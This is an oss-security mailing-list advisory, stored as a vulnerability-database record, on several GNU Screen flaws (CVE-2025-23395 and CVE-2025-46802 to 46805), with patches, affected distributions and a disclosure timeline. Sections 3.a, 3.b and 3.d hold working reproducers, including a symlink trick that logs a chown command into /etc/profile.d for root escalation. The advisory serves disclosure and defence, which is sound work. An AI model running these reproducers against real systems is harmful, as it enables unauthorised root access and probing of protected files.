{"uuid": "c74ad4e9-43df-4294-a337-22d34debbe64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "GNU  screen: Multiple Security Issues in Screen (mostly affecting release  5.0.0 and setuid-root installations)", "description": "Message-ID: <aCISrQTbLQjaxBZS@kasco.suse.de>\nDate: Mon, 12 May 2025 17:24:26 +0200\nFrom: Matthias Gerstner <mgerstner@...e.de>\nTo: oss-security@...ts.openwall.com\nSubject: screen: Multiple Security Issues in Screen (mostly affecting release\n 5.0.0 and setuid-root installations)\n\nHello list,\n\nthese issues in Screen have been shared with the distros mailing list on\n2025-04-30 and publication is due today. We also offer a rendered\nversion of this report on our blog [1].\n\n1) Introduction\n===============\n\nIn July 2024, the upstream Screen maintainer asked us [2] if we could\nhave a look at the current Screen code base. We treated this request\nwith lower priority, since we already had a cursory look at Screen a few\nyears earlier, without finding any problems. When we actually found time\nto look into it again, we were surprised to find a local root exploit in\nthe Screen 5.0.0 major version update affecting distributions that ship\nit as setuid-root (Arch Linux and NetBSD). We also found a number of\nadditional, less severe issues that partly also affect older Screen\nversions still found in the majority of distributions.\n\nAttached to this email you can find two sets of patches for the issues\ndescribed in this report, one for screen-4.9.1 and another for\nscreen-5.0.0. These patch sets apply against the screen-4.9.1 and\nscreen-5.0.0 release tarballs, respectively. Due to difficulties in the\ncommunication with upstream we do not currently have detailed\ninformation about bugfixes and releases published on their end.\n\nThe next section provides an overview of the Screen configurations and\nversions found on common Linux and UNIX distributions. Section 3)\ndiscusses each security issue we discovered in detail. Section 4) takes\na look at possible further issues in Screen's setuid-root\nimplementation. Section 5) gives general recommendations for the\nimprovement of Screen's security posture. Section 6) points out problems\nwe encountered during the coordinated disclosure process for these\nissues. Section 7) provides an affectedness matrix which gives a quick\noverview of the situation on various Linux and UNIX systems.\n\n2) Overview of Screen Configurations and Versions\n=================================================\n\nIn August 2024 a version 5.0.0 major release of Screen was published by\nupstream. By now Arch Linux, Fedora 42 and NetBSD 10.1 ship this new\nversion of Screen. A lot of refactoring changes made their way into this\nScreen release that are in some cases dating back more than ten years.\nSome of the issues discussed in this report have only been introduced in\nthe 5.0.0 release of Screen, while others also affect Screen 4.9.1 (and\nolder), which is still the version found in the majority of Linux and\nUNIX distributions at the time of writing.\n\nAny source code references in this report are based on the upstream\n5.0.0 release tag [3], unless noted otherwise. Affectedness information\nis provided for both the current 5.0.0 release and the more widespread\n4.9.1 Screen release for each vulnerability discussed below.\n\nNOTE: At the time of writing we often experienced HTTP 502 \"Bad Gateway\"\nerrors trying to access Screen's Git web front end. Retrying a few\nseconds later usually resolved the error.\n\nAbout the Screen Multi-User Mode\n--------------------------------\n\nScreen offers a multi-user mode which allows to attach to Screen\nsessions owned by other users in the system (given the proper\ncredentials). These multi-user features are only available when Screen\nis installed with the setuid-root bit set. This configuration of Screen\nresults in highly increased attack surface, because of the complex\nScreen code that runs with root privileges in this case.\n\nA Screen multi-user session is identified by its name, which needs to\nhave a `<user>/` prefix. The following command line would create such a\nsession:\n\n    user1$ screen -S user1/my-multi-user-session\n\nTo manage access to a multi-user session, Screen maintains access\ncontrol lists (acls) that can be configured in Screen's configuration\nfile (`~/.screenrc`), or by sending commands to a running Screen session\n(see `screen(1)` man page [4]). These acls are based on the account\nnames of other users and can optionally be protected by a password.\nAccess can be restricted to \"read-only\", a mode in which no input can be\npassed to the terminal.\n\nOf the systems we looked into, only Arch Linux, FreeBSD and NetBSD\ninstall Screen with the setuid-root bit set. On Gentoo Linux the\nsetuid-root bit is optionally assigned if the \"multiuser\" USE flag is\nset. Some distributions install Screen with a setgid bit assigned to let\nit run with specific group credentials. This is the case on Gentoo Linux\nby default, which installs Screen as setgid-utmp, allowing Screen to\ncreate login records in the system-wide utmp database. Fedora Linux\ninstalls Screen as setgid-screen, which allows Screen to place sockets\ninto a system-wide directory in `/run/screen`.\n\n3) Security Issues\n==================\n\n3.a) Local Root Exploit via `logfile_reopen()` (CVE-2025-23395)\n---------------------------------------------------------------\n\nThis issue affects Screen 5.0.0 when it runs with setuid-root\nprivileges. The function `logfile_reopen()` [5] does not drop privileges\nwhile operating on a user supplied path. This allows unprivileged users\nto create files in arbitrary locations with `root` ownership, the\ninvoking user's (real) group ownership and file mode 0644. All data\nwritten to the Screen PTY will be logged into this file. Also already\nexisting files can be abused for logging in this manner: the data will\nbe appended to the file in question, but the file mode and ownership\nwill be left unchanged.\n\nScreen correctly drops privileges when it initially opens the logfile.\nThe privilege escalation becomes possible as soon as Screen believes it\nis necessary to reopen the logfile. Screen checks this by calling\n`stolen_logfile()` [6] before writing to the file. The call to\n`logfile_reopen()` happens when the link count of the originally opened\nlogfile drops to zero, or if it unexpectedly changes in size. This\ncondition can be triggered at will on the end of the unprivileged user.\n\nThis is a reproducer which shows how to achieve a basic local root\nexploit on an affected system:\n\n    # create a Screen session using a custom logfile path\n    (shell1) user$ screen -Logfile $HOME/screen.log\n    # enter the key combination to enable logging to the configured path\n    (screen) user$ <ctrl-a> H\n    \n    # in another shell remove the logfile that Screen just created and\n    # replace it by a symlink to a privileged location\n    (shell2) user$ rm $HOME/screen.log; ln -s /etc/profile.d/exploit.sh \\\n        $HOME/screen.log\n    \n    # back in the Screen session, echo an exploit command which will be logged to\n    # the now redirected logfile.\n    #\n    # This needs to be done via `echo` for adding a leading newline to prevent the\n    # bash prompt from breaking the exploit. Similarly the trailing semicolon\n    # is necessary to prevent following control characters from becoming part of\n    # the shell command.\n    (screen) user$ echo -e \"\\nchown $USER /root;\"\n    \n    # now perform a new login as root and watch the exploit being executed.\n    # you will likely see a range of shell errors during login as well.\n    root# ls -lhd /root\n    drwxr-x--- 5 user root 4.0K Dec 30  2020 .\n\nThis is just one naive approach to achieve a local root exploit, which\nis not very well hidden (because of strange error messages) and requires\nthe actual `root` user to login to trigger it. There are likely many\nother ways to exploit this, however, for example by writing new\nconfiguration files for tools like `sudo`, or by appending code to\nprivileged shell scripts found in /usr/bin and similar locations.\n\n### Bugfix\n\nThe problem was introduced via an old commit 441bca708bd [7], which has\nonly now become part of the 5.0.0 release. In this commit the\n`lf_secreopen()` function was removed, which was considered unneeded.\n\nPatch 0001 in the attached screen-5.0.0-patches.tar.gz addresses the\nissue by reintroducing the secure file handling during logfile reopen.\n\n### Affected Distributions\n\n#### Arch Linux\n\nArch Linux is fully affected by this issue, since it ships the version\n5.0.0 release and assigns the setuid-root bit. Screen is not installed\nby default on Arch, however.\n\n#### Fedora Linux\n\nThe affected 5.0.0 version is only found in the recently released Fedora\n42. Screen runs with setgid-screen credentials there, to be able to\nwrite in the `/run/screen` directory. A private directory with mode 0700\nis created in there for each user that runs a Screen multi-user session.\nDue to this, the exploit will not allow to write in other users' session\ndirectories, it will only be possible to create files directly in\n`/run/screen`. The only attack vector we can imagine here is to cause a\nlocal DoS scenario by claiming the names of other users' session\ndirectories, should they not yet exist. Another attack vector could be\nto try and fill up the free disk space of the /run file system (a TMPFS)\nto break other system services.\n\n#### Gentoo Linux\n\nGentoo Linux is not affected in its stable Screen ebuild, which is still\nbased on Screen version 4.9.1.\n\nWhen using Gentoo's unstable 'app-misc/screen-9999' ebuild, then the\naffected version 5.0.0 will be installed, however. If the \"multiuser\"\nUSE flag is also set, then the setuid-root bit will be applied,\nresulting in a fully vulnerable Screen.\n\nWithout this USE flag, Screen runs as setgid-utmp on Gentoo Linux, which\nallows to use this exploit to overwrite the `/var/log/wtmp` database.\nThis makes it possible to violate the integrity of the database or even\nto craft login entries which could adversely influence other privileged\nprograms in the system that rely on this information.\n\n#### FreeBSD\n\nFreeBSD still uses version 4.9.1. If Screen were to be upgraded to 5.0.0\nthen FreeBSD would be affected as well, since Screen is installed as\nsetuid-root by default.\n\n#### NetBSD\n\nOn NetBSD the affected Screen 5.0.0 version can be installed and it will\nby default run with setuid-root privileges. This makes it fully affected\nby the issue.\n\n3.b) TTY Hijacking while Attaching to a Multi-User Session (CVE-2025-46802)\n---------------------------------------------------------------------------\n\nThis issue is found in the `Attach()` function when the `multiattach`\nflag is set (i.e. Screen attempts to attach to a multi-user session).\nThe function performs a `chmod()` [8] of the current TTY to mode 0666.\nThe path to the current TTY is stored in the `attach_tty` string:\n\n    if ((how == MSG_ATTACH || how == MSG_CONT) && multiattach) {\n        /* snip */\n        if (chmod(attach_tty, 0666))\n            Panic(errno, \"chmod %s\", attach_tty);\n        tty_oldmode = tty_mode;\n    }\n\nFortunately the TTY path which is calculated within Screen is\nsufficiently probed for correctness. In particular, `isatty()` needs to\nbe true for FD 0 (which is used for determining the TTY path) and the\nresulting path needs to reside in /dev. Otherwise this `chmod()` would\nhave led to another local root exploit.\n\nThe original TTY mode is restored towards the end of the function in\nline 284 [9]. We are not completely sure about the purpose of this\ntemporary permission change, maybe it is supposed to allow the Screen\ndaemon of the target session (which might have different credentials) to\naccess the client's TTY for the purposes of the attach procedure.\n\nThe issue with this temporary TTY mode change is that it introduces a\nrace condition allowing any other user in the system to open the\ncaller's TTY for reading and writing for a short period of time. We made\nsome simple tests based on Linux's inotify API, and we managed to open\naffected TTYs every second or third attempt using a simple Python script\nthis way.\n\nThe impact of this issue is that an attacker can intercept data typed\ninto the TTY and also inject data into it. An attacker could attempt to\nmislead the owner of the TTY into entering a password, or gain other\nsensitive information. Also, control sequences can be injected into the\naffected TTY which adds further possibilities to confuse the victim or\nto exploit issues in an involved terminal emulator.\n\nThere also exist return paths in the `Attach()` function where the\noriginal mode is never restored again. This happens in line 160 [10],\nfor instance, where the process explicitly exits if the target session\nis not found and the \"quiet\" command line argument has been set. A\nsimple reproducer of this aspect is as follows:\n\n    # inspect the current TTY permissions, which are safe\n    user$ ls -l `tty`\n    crw--w---- 1 user tty 136, 1 Feb  5 12:18 /dev/pts/1\n    # attempt to attach to some non-existing session of the root user.\n    # note that this only works if the target user's session directory (e.g.\n    # in $HOME/.screen) already exists, otherwise the logic terminates early\n    # and the `chmod()` does not happen.\n    user$ screen -r -S root/some-session -q\n    # observe the now unsafe TTY permissions\n    user$ ls -l `tty`\n    crw-rw-rw- 1 user tty 136, 1 Feb  5 12:19 /dev/pts/1\n\nThe `Panic()` function, which is mostly used in `Attach()` to stop\nprocess execution, correctly restores the old TTY mode [11]. Only code\npaths that use `return` or `eexit()` suffer from this missing TTY mode\nrestore.\n\n### Bugfix\n\nWe assume that the problematic `chmod()` calls are most likely only\nremnants of past times, when this insecure approach was used to grant\nthe target Screen session access to the new client's PTY. These days\nScreen passes the PTY file descriptor securely via the UNIX domain\nsocket to the target session.\n\nThus to fix this, the temporary `chmod()` to mode 666 can be dropped.\nThis is what is done in patch 0001 in the attached\nscreen-4.9.1-patches.tar.gz and patch 0004 in the\nscreen-5.0.0-patches.tar.gz.\n\nShortly before the publication of this report it was pointed out to us\nthat this patch likely breaks some reattach use cases [12] in Screen. We\ncan confirm this problem, but at the same time found out that this\nspecific use case was obviously already broken before, even in Screen\n4.9.1 [13]. For this reason we decided not to move the publication date\nagain or to adjust this patch in a hurry with uncertain results. The\npatch still fixes the security issue and upstream can now fix this\nregression, that already seems to have existed earlier, in the open.\n\n### Affected Distributions\n\nUnlike the previous issue, this one is not limited to the current 5.0.0\nrelease. The observed behaviour has been present in Screen versions\nsince at least the year 2005. All Linux distributions and BSDs we\nchecked suffer from this, if they provide multi-user support in Screen\nby installing it setuid-root.\n\nThis issue theoretically also affects Screen if it is *not* installed\nsetuid-root, because the caller always has permission to modify the mode\nof its own TTY. Screen refuses to continue the operation, however, if\nthe target session is not owned by the caller and no root privileges are\navailable. The problematic code still triggers when a user attempts for\nsome reason to join a multi-user session owned by itself. An example\ninvocation that leads to this would be `screen -r -S $USER/some-session\n-q`. Systems that are affected by this lighter variant of the issue are\nmarked as partly affected in section 7).\n\n3.c) Screen by Default Creates World Writable PTYs (CVE-2025-46803)\n-------------------------------------------------------------------\n\nIn Screen version 5.0.0 the default mode of pseudo terminals (PTYs)\nallocated by Screen was changed from 0620 to 0622, thereby allowing\nanyone to write to any Screen PTYs in the system. Security-wise this\nresults in some of the issues that have been outlined in issue 3.b),\nwithout the information leak aspects, however.\n\nThe history of the default PTY mode in Screen is rather complex. Let's\nhave a look at the situation in version 4.9.1 (and a lot of older\nversions):\n\n- There is a 0622 default mode in the code in process.c line 207 [14].\n  This is only a fallback that should not become active unless the code\n  is compiled in unusual ways.\n- A default mode of 0620 is applied in configure.ac line 811 [15], which\n  results in a safe default when compiling Screen using autotools.\n- In acconfig.h line 81 [16] the following is stated:\n  \n  > define PTYMODE if you do not like the default of 0622, which allows public write to your pty.\n  \n  Thus in this version there is an inconsistency between the default\n  mode on autoconf level and the default on source code level, but in\n  the end the (safe) autoconf default wins.\n\nNow let's look at the situation in Screen version 5.0.0:\n\n- The configure.ac file was rewritten from scratch in commit df1c012227 [17].\n  This change drops the 0620 default mode on autoconf level.\n- In a follow-up commit 78a961188f7 [18] the pty-mode configure switch\n  was reintroduced, this time with default mode 0622.\n- Thus in version 5.0.0 there is no longer a mismatch between the source\n  code level default and the autoconf level default, but the default is\n  now unsafe.\n\n### Bugfix\n\nWe couldn't find any Screen release notes for version 5.0.0, except for\na few ChangeLog entries. It seems it was not a deliberate decision to\nchange the default PTY Mode to 0622.\n\nPatch 0002 in the attached screen-5.0.0-patches.tar.gz addresses the\nissue by restoring the safe default PTY mode in the configure.ac script.\nNote that you will need to run `autoreconf` to make the change\neffective.\n\nWe recommend to packagers to actively pass the configure switch\n`--with-pty-mode=0620` to make this choice explicit, also on older\nreleases of Screen.\n\n### Affected Distributions\n\nGentoo Linux and Fedora Linux pass an explicit safe `--with-pty-mode` to\nScreen's configure script. For distributions other than the ones listed\nas affected below, we did not check if they are either doing the same,\nor if they are relying on the safe default present in older Screen\nreleases.\n\n#### Arch Linux\n\nOn Arch Linux the package build does not pass the `--with-pty-mode`\nswitch, resulting in the new default being applied, thus making Screen\non current Arch Linux vulnerable to this issue.\n\n#### NetBSD\n\nNetBSD is affected by this issue the same way as Arch Linux is.\n\n3.d) File Existence Tests via Socket Lookup Error Messages (CVE-2025-46804)\n---------------------------------------------------------------------------\n\nThis is a minor information leak when running Screen with setuid-root\nprivileges that is found in older Screen versions, as well as in version\n5.0.0. The code in screen.c starting at line 849 [19] inspects the\nresulting `SocketPath` with root privileges, and provides error messages\nthat allow unprivileged users to deduce information about the path that\nwould otherwise not be available.\n\nAn easy way to achieve this is by using the `SCREENDIR` environment\nvariable. Following is an example that works on current Arch Linux:\n\n    # this can be used to test whether /root/.lesshst exists and is a regular file\n    user$ SCREENDIR=/root/.lesshst screen\n    /root/.lesshst is not a directory.\n    \n    # this allows to deduce that the directory /root/.cache exists\n    user$ SCREENDIR=/root/.cache screen\n    bind (/root/.cache/1426.pts-0.mgarch): Permission denied\n    \n    # this tells us that the path /root/test does not exist\n    user $ SCREENDIR=/root/test screen\n    Cannot access /root/test: No such file or directory\n\n### Bugfix\n\nPatch 0002 in the attached screen-4.9.1-patches.tar.gz and patch 0005 in\nthe attached screen-5.0.0-patches.tar.gz address the problem by only\noutputting generic error messages when Screen is installed setuid-root\nand when the target path is not controlled by the real UID of the\nprocess.\n\n### Affected Distributions\n\nAll distributions we considered are affected.\n\n3.e) Race Conditions when Sending Signals (CVE-2025-46805)\n----------------------------------------------------------\n\nIn socket.c lines 646 [20] and 882 [21] time-of-check/time-of-use\n(TOCTOU) race conditions exist with regards to sending signals to user\nsupplied PIDs in setuid-root context.\n\nThe `CheckPid()` function [22] drops privileges to the real user ID and\ntests whether the kernel allows to send a signal to the target PID using\nthese credentials. The actual signal is sent later via `Kill()`,\npotentially using full root privileges. By this time, the PID that was\npreviously checked could have been replaced by a different, privileged\nprocess. It might also be possible to trick the (privileged) Screen\ndaemon process into sending signals to itself, since a process is always\nallowed to send signals to itself.\n\nCurrently this should only allow to send SIGCONT and SIGHUP signals,\nthus the impact is likely only in the area of a local denial of service\nor a minor integrity violation.\n\nThe issue affects both Screen version 5.0.0 and older version 4\nreleases, when Screen is installed setuid-root. This issue results from\nan incomplete fix [23] for CVE-2023-24626: before this incomplete fix,\nthe signals in question could be sent to arbitrary processes even\nwithout winning a race condition.\n\n### Bugfix\n\nPatch 0003 in the attached screen-4.9.1-patches.tar.gz and patch 0006 in\nthe attached screen-5.0.0-patches.tar.gz address the problem by sending\nthe actual signal with real UID privileges, just like `CheckPid()` does.\n\n### Affected Distributions\n\nAll distributions we considered are affected.\n\n3.f) Bad `strncpy()` Use Leads to Crashes when Sending Commands\n---------------------------------------------------------------\n\nWe believe this is a non-security issue, but one that still should be\nfixed with priority. The issue is only found in Screen version 5.0.0.\n\nIn commit 0dc67256 [24] a number of `strcpy()` calls have been replaced\nby `strncpy()`. The author obviously was not aware of the unfortunate\nsemantics that `strncpy()` has. This function is not intended for safe\nstring handling, but to maintain zero padded buffers of fixed length.\nFor this reason, `strncpy()` does not stop writing data to the\ndestination buffer when the first `\\0` byte is encountered, but it\nwrites out zeroes until the buffer is completely filled.\n\nApart from leading to bad performance, this also triggers a bug in\nattacher.c line 465. The following change has been applied there:\n\n    -      strcpy(p, *av);\n    +      strncpy(p, *av, MAXPATHLEN);\n           p += len;\n\nThese lines are part of the following for loop, which processes command\nline parameters to send them to a running Screen session.\n\n    for (; *av && n < MAXARGS - 1; ++av, ++n) {\n            size_t len;\n            len = strlen(*av) + 1;\n            if (p + len >= m.m.command.cmd + ARRAY_SIZE(m.m.command.cmd) - 1)\n                    break;\n            strncpy(p, *av, MAXPATHLEN);\n            p += len;\n    }\n\nThe call to `strncpy()` always passes `MAXPATHLEN` bytes as destination\nbuffer size. This is correct for the first iteration of the `for` loop,\nwhen `p` points to the beginning of the `struct Message.command.cmd`\nbuffer declared in screen.h line 148 [25]. It is no longer correct for\nfollowing iterations of the `for` loop, however, when `p` is incremented\nby `len`. This means future `strncpy()` calls will write an excess\namount of `\\0` bytes beyond the end of the buffer.\n\nThe result of this can be observed on current Arch Linux when passing\nmore than one command argument to a running Screen instance:\n\n    # create a new screen session\n    user$ screen -S myinstance\n    \n    # and detach from it again\n    (screen) user$ <Ctrl A> d\n    \n    # now try to send a command to the running session\n    user$ screen -S myinstance -X blankerprg /home/$USER/blanker\n    *** buffer overflow detected ***: terminated\n    Aborted (core dumped)\n\nThe two command arguments lead to two iterations in the `for` loop described\nabove; the second iteration will trigger the buffer overflow detection. The\nvisible error only occurs when Screen is compiled with the `_FORTIFY_SOURCE`\nfeature enabled. Otherwise no errors are seen, not even when compiling with\n`-fsanitize=address`, likely because after the end of the target buffer\nanother long buffer `char message[MAXPATHLEN * 2]` follows (thus only\napplication payload data is overwritten).\n\nThis issue allows the caller to overwrite `MAXPATHLEN` bytes of memory\nfollowing the `cmd` buffer with zeroes, which can cause integrity\nviolation in Screen, particularly when it runs setuid-root. Since an\nequally sized buffer `writeback[MAXPATHLEN]` follows in memory, there\nshould be no possibilities to exploit this issue to the advantage of an\nattacker, however.\n\nTo fix this, `MAXPATHLEN` needs to be replaced by the actually remaining\namount of bytes in `p`. Furthermore ideally all `strncpy()` calls should\nbe replaced by `snprintf(target, target_size, \"%s\", source)` to avoid\nthe unintended effect of zero padding the target buffer.\n\nWe wondered how this issue could be present in Screen 5.0.0 for such a\nlong time without anybody noticing. One part of the explanation likely\nis that Screen version 5.0.0 is only present in few distributions so\nfar. Another aspect is that perhaps only few users are using this\nfeature to send commands to running Screen sessions. We still found a\nreport from not too long ago on the screen-users mailing list [26] that\nseems to refer to exactly this issue.\n\n### Bugfix\n\nPatch 0003 in the attached screen-patches-5.0.0.tar.gz addresses this\nproblem by changing `strncpy()` to `snprintf()` and by properly passing\nthe amount of remaining space in the target buffer.\n\n### Affected Distributions\n\nAll distributions shipping screen-5.0.0 are affected.\n\n4) Possible Further Issues in Screen's setuid-root Implementation\n=================================================================\n\nWhile working on the bugfix for issue 3.e), we also noticed that the\noriginal (incomplete) bugfix for CVE-2023-24626 introduced a regression\nto the multi-user mode in Screen when the target session is running as\nnon-root. In this case the target session drops privileges to some UID X\nand then attempts to send a signal to some UID Y (of the client), which\nwill always fail.\n\nThis shows that there are actually three different UIDs to be considered\nin Screen's multi-user mode: effective UID 0 to perform privileged\noperations, the real UID of the user creating the session and the real\nUID of the user attaching to a session. We don't believe that the\ncurrent Screen code takes this properly into account.\n\nThis also brought to our attention that Screen multi-user sessions\ncreated by `root` will \"drop privileges\" to the real UID of the creating\nuser, which will be UID 0, and thus effectively perform no privilege\ndrop at all.\n\n5) General Recommendations\n==========================\n\nFrom the changes in Screen 5.0.0 we can see that there have been\nattempts for a longer time to refactor the code base, which was still\nwritten in K&R style C before that. During this refactoring some of the\nlong established security logic has been broken, however, which led to\nissues 3.a) and 3.c). Before doing further refactoring, some kind of\ntest suite could be helpful to verify various security properties of the\nimplementation. Also anybody who works on this code base obviously\nshould have knowledge about the many dangers that linger in setuid-root\nbinaries.\n\nEven after fixing the issues we identified during our review, there are\nstill many areas left that make us worry as outlined in the previous\nsection. There is also a range of file system operations where security\nis hanging by a thread.\n\nThere is furthermore a broad design issue in Screen: it runs with\nelevated privileges all the time, and only selectively drops privileges\nfor operations that are considered dangerous. For a robust setuid-root\nprogram this should be the other way around: privileges should be\ndropped by default and only raised for operations that actually require\nelevated privileges.\n\nTo make Screen acceptable for running setuid-root we suggest to\nimplement a design change in this regard and to carefully review each\nprivileged operation that remains for its security. We also suggest to\nadd logic to remove any environment variables except those that are\nexplicitly allowed in the setuid-root context. Other environment\nvariables like PATH should be sanitized to point only to trusted system\ndirectories.\n\nGiven all this, we don't recommend to install Screen setuid-root at all\nat the moment (neither version 5.0.0 nor the older 4.9 versions). An\nalternative could be to offer the multi-user feature only in an opt-in\nfashion, e.g. by allowing only members of a trusted group to run a\nmulti-user version of Screen.\n\n6) Problematic Coordinated Disclosure Process and Upstream Status\n=================================================================\n\nWhen we reported these issues to upstream in February 2025, we offered\nthe usual coordinated disclosure process based on our policy [27].\nUpstream expressed a lot of interest in keeping the issues private to\ndevelop bugfixes before publication. A time frame of one to two months\nwas communicated to us for this purpose. We were not too happy with this\nlong embargo period, but we understand that many upstreams are lacking\nresources, thus we agreed to these terms.\n\nAbout a month later some activity ensued on upstream's end and discussions\nabout bugfixes started. These discussions were not too fruitful, but we\nstill believed that upstream would be able to deal with the issues - given it\nwas upstream itself that asked us to perform a security review for Screen.\n\nNo further communication happened, however, until about two weeks before\nthe maximum 90 days embargo period we offer, when we inquired upstream\nabout the current status and pointed out the publication date coming\nclose. We had to find out that upstream did not use the long time period\nup to this point to work on the bugfixes. Meanwhile further\ndistributions like NetBSD updated to Screen 5.0.0, becoming fully\naffected by issue 3.a), unaware of the risk.\n\nIt was only at this point that we realized that upstream was not\nsufficiently familiar with the Screen code base, not capable of fully\nunderstanding the security issues we reported and that they did not\nclearly state that they need more help than us only reviewing patches\nthey come up with.\n\nThe communication with upstream became increasingly problematic:\nupstream suddenly wanted to publish bugfixes earlier than we suggested,\neven though many issues were still unaddressed. We tried to dissuade\nupstream and quickly involved the distros mailing list [28] to make\nother distributors aware of the issues. We exceptionally suggested a\npublication date beyond our maximum 90 days embargo to the list, to\naccommodate for the chaotic situation that the embargo ended up in.\n\nAfter some further not very productive attempts to develop patches in\ncooperation with upstream, we decided to take the matter into our own\nhands. We developed the missing bugfixes and adjusted and properly\ndocumented the patches that had already been drafted by upstream. In\ndoing this, we deduced that a dedicated upstream would likely have been\nable to complete the coordinated disclosure process within about two\nweeks.\n\nWe are not satisfied with how this coordinated disclosure developed, and\nwe will try to be more attentive to such problematic situations early on\nin the future. This experience also sheds light on the overall situation\nof Screen upstream. It looks like it suffers from a lack of manpower and\nexpertise, which is worrying for such a widespread open source utility.\nWe hope this publication can help to draw attention to this and to\nimprove this situation in the future.\n\n7) Affectedness Matrix\n======================\n\n|System        |Screen Version|Special Privileges                        |Affected by                  |Comment                                                |\n|--------------|--------------|------------------------------------------|-----------------------------|-------------------------------------------------------|\n|Arch Linux    |5.0.0         |setuid-root                               |3.a, 3.b, 3.c, 3.d, 3.e, 3.f |                                                       |\n|Debian 12.10  |4.9.0         |                                          |3.b (partly)                 |                                                       |\n|Ubuntu 24.04.2|4.9.1         |                                          |3.b (partly)                 |                                                       |\n|Fedora 42     |5.0.0         |setgid-screen                             |3.b (partly), 3.f            |5.0.0 is only found in the recently released Fedora 42 |\n|Gentoo        |4.9.1         |setgid-utmp                               |3.b (partly)                 |5.0.0 is available via the unstable ebuild             |\n|              |              |(setuid-root if multiuser USE flag is set)|                             |                                                       |\n|openSUSE TW   |4.9.1         |                                          |3.b (partly)                 |                                                       |\n|FreeBSD 14.2  |4.9.1         |setuid-root                               |3.b, 3.d, 3.e                |                                                       |\n|NetBSD 10.1   |5.0.0         |setuid-root                               |3.a, 3.b, 3.c, 3.d, 3.e      |update to 5.0.0 was only released recently             |\n|              |              |                                          |3.f (without visible crash)  |                                                       |\n|OpenBSD 7.7   |4.9.1         |                                          |3.b (partly)                 |                                                       |\n\n8) Timeline\n===========\n\n2024-07-01: A review request from upstream was forwarded to us [2].\n2025-01-08: We started working on the review.\n2025-02-07: We privately reported the issues to the Screen upstream by email, offering coordinated disclosure.\n2025-02-07: Upstream expressed that they will need 1 - 2 months of time to work on the issues, likely requiring most of the 90 days maximum embargo period we offered.\n2025-02-11: We created private bugs [29] in the GNU Savannah bug tracker to deal with each finding.\n2025-03-11: Some discussions started in the private GNU Savannah bugs about patches for a couple of the findings.\n2025-04-29: After nearly a month without visible activity, and the 90 days maximum embargo time approaching, we asked upstream for the current status and procedures for publication of the report.\n2025-04-30: Upstream started taking up work again, trying to come up with fixes until the end of the 90 day embargo period. We offered advice on the various patches in the private GNU Savannah bugs.\n2025-04-30: Following some unclarity in the discussion with upstream regarding CVE assignment, we decided to assign CVEs for the security relevant issues.\n2025-04-30: Upstream declared its intention to publish something on the weekend, while bugfixes were still missing. We urged them not to do this. In the light of this we quickly forwarded a draft of this report to the distros mailing list [28] to give other distributors the chance to react to these findings before they go public.\n2025-05-05: Although we did not get a clear answer, upstream ended up not publishing one-sidedly. Given the chaotic situation we suggested a publication date of 2025-05-12 to the distros mailing list, which was a few days after the 90 days maximum embargo period we usually offer upstream.\n2025-05-07: Further attempts to develop the missing bugfixes in cooperation with upstream seemed futile. We started to develop all necessary patches on our own, some of them based on patches that had already been discussed in the upstream Savannah bugs. We shared the finished and tested patches for screen 4.9.1 and screen 5.0.0 with the distros mailing list and upstream.\n2025-05-08: Upstream complained about wrong `Author:` tags in some of the patches we distributed (we did not receive formally finished patches from upstream, only copy/paste snippets). Thus we adjusted the authorship information for these patches to accommodate for this complaint and shared the updated result with the distros mailing list again.\n2025-05-12: Publication of the report happened as planned on our blog and on the oss-security mailing list.\n\n9) References\n=============\n\n- Screen GNU Savannah Project Page [30]\n- openSUSE Bugzilla Screen Review Bug [2]\n- Links to Private GNU Savannah Bugs (it seems upstream cannot make them accessible even after publication) [29]\n\n[1]: https://security.opensuse.org/2025/05/12/screen-security-issues.html\n[2]: https://bugzilla.suse.com/show_bug.cgi?id=1227243\n[3]: https://git.savannah.gnu.org/cgit/screen.git/tag/?h=v.5.0.0\n[4]: https://linux.die.net/man/1/screen\n[5]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/logfile.c?h=v.5.0.0#n81\n[6]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/logfile.c?h=v.5.0.0#n101\n[7]: https://git.savannah.gnu.org/cgit/screen.git/commit/?id=441bca708bd197ae15d031ccfd2b42077eeebedc\n[8]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/attacher.c?h=v.5.0.0#n120\n[9]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/attacher.c?h=v.5.0.0#n284\n[10]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/attacher.c?h=v.5.0.0#n160\n[11]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/screen.c?h=v.5.0.0#n1554\n[12]: https://bugzilla.suse.com/show_bug.cgi?id=1242269#c9\n[13]: https://bugzilla.suse.com/show_bug.cgi?id=1242269#c12\n[14]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/process.c?h=v.4.9.1#n207\n[15]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/configure.ac?h=v.4.9.1#n811\n[16]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/acconfig.h?h=v.4.9.1#n81\n[17]: https://git.savannah.gnu.org/cgit/screen.git/commit/?id=df1c012227\n[18]: https://git.savannah.gnu.org/cgit/screen.git/commit/?id=78a961188f7\n[19]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/screen.c?h=v.5.0.0#n849\n[20]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/socket.c?h=v.5.0.0#n646\n[21]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/socket.c?h=v.5.0.0#n882\n[22]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/socket.c?h=v.5.0.0#n555\n[23]: https://git.savannah.gnu.org/cgit/screen.git/patch/?id=e9ad41bfedb4537a6f0de20f00b27c7739f168f7\n[24]: https://git.savannah.gnu.org/cgit/screen.git/commit/?id=0dc67256\n[25]: https://git.savannah.gnu.org/cgit/screen.git/tree/src/screen.h?h=v.5.0.0#n148\n[26]: https://lists.gnu.org/archive/html/screen-users/2024-12/msg00000.html\n[27]: https://en.opensuse.org/openSUSE:Security_disclosure_policy\n[28]: https://oss-security.openwall.org/wiki/mailing-lists/distros\n[29]: https://bugzilla.suse.com/show_bug.cgi?id=1227243#c8\n[30]: https://savannah.gnu.org/projects/screen\n\nBest Regards\n\n-- \nMatthias Gerstner <matthias.gerstner@...e.de>\nSecurity Engineer\nhttps://www.suse.com/security\nGPG Key ID: 0x14C405C971923553\n \nSUSE Software Solutions Germany GmbH\nHRB 36809, AG 